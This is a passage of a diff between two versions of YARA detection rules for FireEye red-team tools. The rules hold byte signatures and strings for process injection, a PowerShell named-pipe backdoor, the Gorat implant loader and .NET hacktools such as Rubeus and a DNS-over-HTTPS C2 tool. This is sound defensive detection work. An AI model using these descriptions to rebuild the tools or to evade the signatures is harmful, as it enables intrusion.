?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 } - $bytes3 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 } - $bytes4 = { 4C 89 74 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC A0 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? BA 50 00 00 00 C7 05 ?? ?? ?? ?? 43 00 3A 00 66 89 15 ?? ?? 01 00 4C 8D 44 24 ?? 48 8D 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 5C 00 57 00 33 C9 C7 05 ?? ?? ?? ?? 69 00 6E 00 C7 05 ?? ?? ?? ?? 64 00 6F 00 C7 05 ?? ?? ?? ?? 77 00 73 00 C7 05 ?? ?? ?? ?? 5C 00 4D 00 C7 05 ?? ?? ?? ?? 45 00 4D 00 C7 05 ?? ?? ?? ?? 4F 00 52 00 C7 05 ?? ?? ?? ?? 59 00 2E 00 C7 05 ?? ?? ?? ?? 44 00 4D 00 C7 05 ?? ?? ?? ?? 53 00 65 00 C7 05 ?? ?? ?? ?? 44 00 65 00 C7 05 ?? ?? ?? ?? 42 00 75 00 C7 05 ?? ?? ?? ?? 47 00 50 00 C7 05 ?? ?? ?? ?? 72 00 69 00 C7 05 ?? ?? ?? ?? 56 00 69 00 C7 05 ?? ?? ?? ?? 4C 00 45 00 C7 05 ?? ?? ?? ?? 67 00 65 00 C7 05 ?? ?? ?? ?? 6C 73 61 73 C7 05 ?? ?? ?? ?? 73 2E 65 78 C6 05 ?? ?? ?? ?? 65 FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? 01 00 00 00 C7 44 24 ?? 02 00 00 00 FF 15 ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 ?? 41 8D 56 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 44 24 ?? 4C 89 74 24 ?? 45 33 C9 33 D2 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 0F 1F 44 00 ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 41 B9 04 01 00 00 33 D2 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 ?? 48 89 BC 24 ?? ?? ?? ?? BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 4C 89 74 24 ?? C7 44 24 ?? 80 00 00 00 48 8D 0D ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 01 00 00 00 BA 00 00 00 10 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 ?? 41 B9 02 00 00 00 4C 89 74 24 ?? 4C 8B C7 8B D6 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B C8 FF 15 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? CC 48 8B CB FF 15 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 33 C0 48 8B B4 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 48 81 C4 A0 01 00 00 5D C3 } + $sb1 = { 1? 72 [4] 14 D0 [2] 00 02 28 [2] 00 0A 1? 8D [2] 00 01 13 ?? 11 ?? 1? 1? 14 28 [2] 00 0A A2 11 ?? 1? 1? 14 28 [2] 00 0A A2 11 ?? 28 [2] 00 0A 28 [2] 00 0A 80 [2] 00 04 7E [2] 00 04 7B [2] 00 0A 7E [2] 00 04 11 ?? 11 ?? 6F [2] 00 0A 6F [2] 00 0A } + $ss1 = "\x3bN\x00e\x00o\x00.\x00I\x00r\x00o\x00n\x00L\x00u\x00a\x00.\x00L\x00u\x00a\x00C\x00o\x00m\x00p\x00i\x00l\x00e\x00O\x00p\x00t\x00i\x00o\x00n\x00s\x00" + $ss2 = "\x19C\x00o\x00m\x00p\x00i\x00l\x00e\x00C\x00h\x00u\x00n\x00k\x00" + $ss3 = "\x0fd\x00o\x00c\x00h\x00u\x00n\x00k\x00" + $ss4 = /.Reflection.Assembly:Load\(\w{1,64}\);?\s{0,245}\w{1,64}\.EntryPoint:Invoke\(nil/ wide + $ss5 = "1F 8B 08 00 00 00 00 00" wide condition: - uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and any of ( $bytes* ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Trojan_Win64_Generic_23 : FILE +rule FIREEYE_RT_APT_Backdoor_PS1_BASICPIPESHELL_1 { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "470bfeed-e000-58c6-b115-dfa8aea25bef" - date = "2020-12-02" - date = "2020-12-02" - modified = "2020-12-09" + id = "8f85d6cc-fd1e-5bf3-8052-440cbeda0ac9" + date = "2020-12-18" + modified = "2020-12-18" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/supplemental/yara/Trojan_Win64_Generic_23.yar#L4-L22" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BASICPIPESHELL/production/yara/APT_Backdoor_PS1_BASICPIPESHELL_1.yar#L5-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "b66347ef110e60b064474ae746701d4a" - logic_hash = "4c1860801b26abbab8c4aea730bf69f388c902083b9945e11e6782af3ab22789" + logic_hash = "7a9f0002055ffe826562cab3d02d8babd14c5fcd6d0b528a2988e2649034279d" score = 75 - quality = 75 - tags = "FILE" - rev = 1 + quality = 63 + tags = "" strings: - $api1 = "VirtualAllocEx" fullword - $api2 = "UpdateProcThreadAttribute" fullword - $api3 = "DuplicateTokenEx" fullword - $api4 = "CreateProcessAsUserA" fullword - $inject = { 8B 85 [4] C7 44 24 20 40 00 00 00 41 B9 00 30 00 00 44 8B C0 33 D2 48 8B 8D [4] FF 15 [4] 48 89 45 ?? 48 83 7D ?? 00 75 ?? 48 8B 45 ?? E9 [4] 8B 85 [4] 48 C7 44 24 20 00 00 00 00 44 8B C8 4C 8B 85 [4] 48 8B 55 ?? 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? 48 8B 45 ?? EB ?? 8B 85 [4] 48 8B 4D ?? 48 03 C8 48 8B C1 48 89 45 48 48 8D 85 [4] 48 89 44 24 30 C7 44 24 28 00 00 00 00 48 8B 85 [4] 48 89 44 24 20 4C 8B 4D ?? 41 B8 00 00 10 00 33 D2 48 8B 8D [4] FF 15 } - $process = { 48 C7 44 24 30 00 00 00 00 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 08 00 00 00 4C 8D 8D [4] 41 B8 00 00 02 00 33 D2 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? E9 [4] 48 8B 85 [4] 48 89 85 [4] 48 8D 85 [4] 48 89 44 24 50 48 8D 85 [4] 48 89 44 24 48 48 C7 44 24 40 00 00 00 00 48 C7 44 24 38 00 00 00 00 C7 44 24 30 04 00 08 00 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 05 [4] 33 D2 48 8B [2-5] FF 15 } - $token = { FF 15 [4] 4C 8D 45 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 75 ?? E9 [4] 48 8D [2-5] 48 89 44 24 28 C7 44 24 20 02 00 00 00 41 B9 02 00 00 00 45 33 C0 BA 0B 00 00 00 48 8B 4D ?? FF 15 [4] 85 C0 75 ?? E9 [4] 4C 8D 8D [4] 45 33 C0 BA 01 00 00 00 33 C9 FF 15 } + $s1 = "function Invoke-Client()" ascii nocase wide + $s2 = "function Invoke-Server" ascii nocase wide + $s3 = "Read-Host 'Enter Command:'" ascii nocase wide + $s4 = "new-object System.IO.Pipes.NamedPipeClientStream(" ascii nocase wide + $s5 = "new-object System.IO.Pipes.NamedPipeServerStream(" ascii nocase wide + $s6 = " = iex $" ascii nocase wide condition: - (( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them + all of them } -rule FIREEYE_RT_Trojan_Win64_Generic_22 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPGOPHER_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpgopher' project." author = "FireEye" - id = "e79661a8-5254-5e8e-b92b-edf1ddb072ff" - date = "2020-11-26" - date = "2020-11-26" + id = "cc8eb9cd-9a51-5fab-b0a4-247baaa69dd7" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/supplemental/yara/Trojan_Win64_Generic_22.yar#L4-L22" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPGOPHER_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "f7d9961463b5110a3d70ee2e97842ed3" - logic_hash = "52fbe5c0ee7c05df5fcd62c26caaa5498e32352da9c5940e522aa31d6c808028" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "ac37f77440cb76d7dafa4c9b4130471ca6ca760f6d72691db9ebb8cbaaad0c58" score = 75 - quality = 75 + quality = 73 tags = "FILE" rev = 2 strings: - $api1 = "VirtualAllocEx" fullword - $api2 = "UpdateProcThreadAttribute" fullword - $api3 = "DuplicateTokenEx" fullword - $api4 = "CreateProcessAsUserA" fullword - $inject = { C7 44 24 20 40 00 00 00 33 D2 41 B9 00 30 00 00 41 B8 [4] 48 8B CB FF 15 [4] 48 8B F0 48 85 C0 74 ?? 4C 89 74 24 20 41 B9 [4] 4C 8D 05 [4] 48 8B D6 48 8B CB FF 15 [4] 85 C0 75 [5-10] 4C 8D 0C 3E 48 8D 44 24 ?? 48 89 44 24 30 44 89 74 24 28 4C 89 74 24 20 33 D2 41 B8 [4] 48 8B CB FF 15 } - $process = { 89 74 24 30 ?? 8D 4C 24 [2] 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 [4] 85 C0 0F 84 [4] 48 8B [2-3] 48 8D 45 ?? 48 89 44 24 50 4C 8D 05 [4] 48 8D 45 ?? 48 89 7D 08 48 89 44 24 48 45 33 C9 ?? 89 74 24 40 33 D2 ?? 89 74 24 38 C7 44 24 30 04 00 08 00 [0-1] 89 74 24 28 ?? 89 74 24 20 FF 15 } - $token = { FF 15 [4] 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 0F 84 [4] 48 8B 4C 24 ?? 48 8D [2-3] 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 [4] 85 C0 0F 84 [4] 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 01 FF 15 } + $typelibguid0 = "83413a89-7f5f-4c3f-805d-f4692bc60173" ascii nocase wide condition: - (( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Hacktool_MSIL_PXELOOT_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_PRAT_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the PXE And Loot project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'prat' project." author = "FireEye" - id = "5a72a6ff-bae4-57f5-a19b-a4595ac57293" + id = "4a876eb0-ed2f-5ef2-a9b3-ba728b07c8c0" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PXELOOT/production/yara/HackTool_MSIL_PXELOOT_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_PRAT_1.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "82e33011ac34adfcced6cddc8ea56a81" - logic_hash = "c9892adcb9ff5471235e45988f6662d3b8f984fdafca7024a5781eed50f6c0b3" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "d707f017b56b0a873f1edca085ad40fc70cb24e8c9844f377bc28871a941d0b4" score = 75 - quality = 73 + quality = 67 tags = "FILE" - rev = 7 + rev = 3 strings: - $typelibguid1 = "78B2197B-2E56-425A-9585-56EDC2C797D6" ascii nocase wide + $typelibguid0 = "7d1219fb-a954-49a7-96c9-df9e6429a8c7" ascii nocase wide + $typelibguid1 = "bc1157c2-aa6d-46f8-8d73-068fc08a6706" ascii nocase wide + $typelibguid2 = "c602fae2-b831-41e2-b5f8-d4df6e3255df" ascii nocase wide + $typelibguid3 = "dfaa0b7d-6184-4a9a-9eeb-c08622d15801" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Tool_MSIL_Csharputils_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPNATIVEZIPPER_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CSharpUtils' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnativezipper' project." author = "FireEye" - id = "a0e8c45a-759a-5611-aa2a-3113a75fb651" + id = "c48835a7-06fe-5b30-be4d-086d98dc7a21" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPUTILS/production/yara/Tool_MSIL_CSharpUtils_1.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPNATIVEZIPPER_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "11dfd44fb4ee1e610c2e4a941b3a1e88eafc30a2a2237529150e73bceb2a1324" + logic_hash = "fa54375b21abbb613e695f70a15233575fbe6e0536716544bb3b527f5e3ed8c6" score = 75 - quality = 65 + quality = 73 tags = "FILE" - rev = 1 + rev = 3 strings: - $typelibguid0 = "2130bcd9-7dd8-4565-8414-323ec533448d" ascii nocase wide - $typelibguid1 = "319228f0-2c55-4ce1-ae87-9e21d7db1e40" ascii nocase wide - $typelibguid2 = "4471fef9-84f5-4ddd-bc0c-31f2f3e0db9e" ascii nocase wide - $typelibguid3 = "5c3bf9db-1167-4ef7-b04c-1d90a094f5c3" ascii nocase wide - $typelibguid4 = "ea383a0f-81d5-4fa8-8c57-a950da17e031" ascii nocase wide + $typelibguid0 = "de5536db-9a35-4e06-bc75-128713ea6d27" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Hacktool_MSIL_Rubeus_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_DNSOVERHTTPS_C2_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'DoHC2' External C2 project." author = "FireEye" - id = "0ca140ea-2b9f-5904-a4c0-8615229626f0" + id = "ee71be6c-e3c8-5365-9f32-157f00066c49" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/RUBEUS/production/yara/HackTool_MSIL_Rubeus_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_DNSOVERHTTPS_C2_1.yar#L4-L16" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "66e0681a500c726ed52e5ea9423d2654" - logic_hash = "ad954f9922ab564d68cb4515b080f6ee69476a8d87f0038e2ae4c222f0e182d7" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "a482161bbd8e249977f28466ff1381d4693495f8b8ccd9183ae4fde1ec1471eb" score = 75 - quality = 73 + quality = 71 tags = "FILE" - rev = 4 + rev = 2 strings: - $typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide + $typelibguid0 = "5d9515d0-df67-40ed-a6b2-6619620ef0ef" ascii nocase wide + $typelibguid1 = "7266acbb-b10d-4873-9b99-12d2043b1d4e" ascii nocase wide condition: - uint16( 0 ) == 0x5A4D and $typelibguid + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Backdoor_Win_GORAT_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPWEBCRAWLER_1 : FILE { meta: - description = "This detects if a sample is less than 50KB and has a number of strings found in the Gorat shellcode (stage0 loader). The loader contains an embedded DLL (stage0.dll) that contains a number of unique strings. The 'Cookie' string found in this loader is important as this cookie is needed by the C2 server to download the Gorat implant (stage1 payload)." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpwebcrawler' project." author = "FireEye" - id = "5ac84cf1-49fb-533d-b211-b1a92239063b" + id = "29b2a410-bcc4-58df-b192-7a413b3db1c0" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_1.yar#L4-L23" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPWEBCRAWLER_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "66cdaa156e4d372cfa3dea0137850d20" - logic_hash = "f6a0a923f64375e7ffdc080aec41db19a9e162405f1290ed0bbcce5a342bdadb" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "8df328663a813ca0a6864ae0503cbc1b03cfdf839215b9b4f2bb7962adf09bf8" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 4 + rev = 2 strings: - $s1 = "httpComms.dll" ascii wide - $s2 = "Cookie: SID1=%s" ascii wide - $s3 = "Global\\" ascii wide - $s4 = "stage0.dll" ascii wide - $s5 = "runCommand" ascii wide - $s6 = "getData" ascii wide - $s7 = "initialize" ascii wide - $s8 = "Windows NT %d.%d;" ascii wide - $s9 = "!This program cannot be run in DOS mode." ascii wide + $typelibguid0 = "cf27abf4-ef35-46cd-8d0c-756630c686f1" ascii nocase wide condition: - filesize < 50KB and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } - -rule FIREEYE_RT_APT_Backdoor_Win_GORAT_4 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPTEMPLATE_1 : FILE { meta: - description = "Verifies that the sample is a Windows PE that is less than 10MB in size and exports numerous functions that are known to be exported by the Gorat implant. This is done in an effort to provide detection for packed samples that may not have other strings but will need to replicate exports to maintain functionality." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharptemplate' project." author = 